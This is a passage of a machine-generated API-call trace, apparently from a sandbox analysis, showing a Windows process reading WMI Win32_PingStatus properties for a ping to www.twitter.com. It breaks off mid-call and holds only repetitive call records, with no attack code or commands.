[0160.334] SysStringByteLen (bstr="__PATH") returned 0xc [0160.335] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac1b0*=0, plFlavor=0x25ac1b4*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25ac1b0*=3, plFlavor=0x25ac1b4*=64) returned 0x0 [0160.335] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac1e4*=0, plFlavor=0x25ac1e8*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ac1e4*=8, plFlavor=0x25ac1e8*=64) returned 0x0 [0160.335] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.335] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.335] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac23c*=0, plFlavor=0x25ac240*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac23c*=8, plFlavor=0x25ac240*=64) returned 0x0 [0160.335] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac264*=0, plFlavor=0x25ac268*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ac264*=8, plFlavor=0x25ac268*=64) returned 0x0 [0160.335] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.335] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.336] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac2bc*=0, plFlavor=0x25ac2c0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25ac2bc*=8, plFlavor=0x25ac2c0*=64) returned 0x0 [0160.336] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.336] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.336] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac498*=0, plFlavor=0x25ac49c*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25ac498*=3, plFlavor=0x25ac49c*=64) returned 0x0 [0160.336] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac4cc*=0, plFlavor=0x25ac4d0*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ac4cc*=8200, plFlavor=0x25ac4d0*=64) returned 0x0 [0160.336] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac500*=0, plFlavor=0x25ac504*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25ac500*=8, plFlavor=0x25ac504*=64) returned 0x0 [0160.336] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.336] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.337] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac54c*=0, plFlavor=0x25ac550*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25ac54c*=8, plFlavor=0x25ac550*=64) returned 0x0 [0160.337] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.337] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.337] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac598*=0, plFlavor=0x25ac59c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25ac598*=8, plFlavor=0x25ac59c*=64) returned 0x0 [0160.337] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.337] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.337] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0160.337] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0160.337] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.337] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Address", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ac7d0*=0, plFlavor=0x25ac7d4*=0 | out: pVal=0x5bde898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25ac7d0*=8, plFlavor=0x25ac7d4*=0) returned 0x0 [0160.337] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.337] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.337] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.338] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.338] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.338] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.338] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.338] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0160.338] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.338] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.338] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0160.338] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.338] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.338] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.338] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.338] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.338] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.338] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.338] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.338] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.338] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.339] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.339] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.339] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.339] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.339] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.339] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.339] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.339] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.339] SysStringByteLen (bstr="__PATH") returned 0xc [0160.339] SysStringByteLen (bstr="__PATH") returned 0xc [0160.339] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acba4*=0, plFlavor=0x25acba8*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25acba4*=3, plFlavor=0x25acba8*=64) returned 0x0 [0160.339] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acbd8*=0, plFlavor=0x25acbdc*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25acbd8*=8, plFlavor=0x25acbdc*=64) returned 0x0 [0160.339] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.339] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.339] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acc30*=0, plFlavor=0x25acc34*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acc30*=8, plFlavor=0x25acc34*=64) returned 0x0 [0160.340] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acc58*=0, plFlavor=0x25acc5c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25acc58*=8, plFlavor=0x25acc5c*=64) returned 0x0 [0160.340] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.340] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.340] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25accb0*=0, plFlavor=0x25accb4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25accb0*=8, plFlavor=0x25accb4*=64) returned 0x0 [0160.340] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.340] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.340] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ace8c*=0, plFlavor=0x25ace90*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25ace8c*=3, plFlavor=0x25ace90*=64) returned 0x0 [0160.340] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acec0*=0, plFlavor=0x25acec4*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25acec0*=8200, plFlavor=0x25acec4*=64) returned 0x0 [0160.341] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acef4*=0, plFlavor=0x25acef8*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25acef4*=8, plFlavor=0x25acef8*=64) returned 0x0 [0160.341] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.341] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.341] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acf40*=0, plFlavor=0x25acf44*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25acf40*=8, plFlavor=0x25acf44*=64) returned 0x0 [0160.341] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.341] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.341] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25acf8c*=0, plFlavor=0x25acf90*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25acf8c*=8, plFlavor=0x25acf90*=64) returned 0x0 [0160.341] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.341] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0160.341] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0160.342] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.342] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Address", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ad1c4*=0, plFlavor=0x25ad1c8*=0 | out: pVal=0x5bde8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25ad1c4*=8, plFlavor=0x25ad1c8*=0) returned 0x0 [0160.342] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.342] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.342] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Address", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ad1c4*=8, plFlavor=0x25ad1c8*=0 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25ad1c4*=8, plFlavor=0x25ad1c8*=0) returned 0x0 [0160.342] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.342] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.343] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f0 [0160.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.343] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.343] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.343] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ade10*=0, plFlavor=0x25ade14*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25ade10*=8, plFlavor=0x25ade14*=64) returned 0x0 [0160.343] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.343] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.343] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ade10*=8, plFlavor=0x25ade14*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25ade10*=8, plFlavor=0x25ade14*=64) returned 0x0 [0160.343] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.343] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.343] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.343] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.343] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25adeac*=0, plFlavor=0x25adeb0*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25adeac*=8, plFlavor=0x25adeb0*=64) returned 0x0 [0160.344] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.344] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.344] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25adeac*=8, plFlavor=0x25adeb0*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25adeac*=8, plFlavor=0x25adeb0*=64) returned 0x0 [0160.344] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.344] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.344] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.344] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.344] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.344] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ae014*=0, plFlavor=0x25ae018*=0 | out: pVal=0x5bde538*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ae014*=8200, plFlavor=0x25ae018*=64) returned 0x0 [0160.345] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__Derivation", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ae014*=8200, plFlavor=0x25ae018*=64 | out: pVal=0x5bde540*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ae014*=8200, plFlavor=0x25ae018*=64) returned 0x0 [0160.345] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.345] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: puBuffLength=0x5bde538*=0xf, pszText=0x0) returned 0x0 [0160.345] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde538*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.345] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde538*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ae27c*=0, plFlavor=0x25ae280*=0 | out: pVal=0x5bde538*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ae27c*=8, plFlavor=0x25ae280*=64) returned 0x0 [0160.345] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.345] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.345] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde540*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ae27c*=8, plFlavor=0x25ae280*=64 | out: pVal=0x5bde540*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ae27c*=8, plFlavor=0x25ae280*=64) returned 0x0 [0160.345] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.345] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.345] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde53c | out: puCount=0x5bde53c*=0x2) returned 0x0 [0160.346] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde538*=0x0, pszText=0x0 | out: 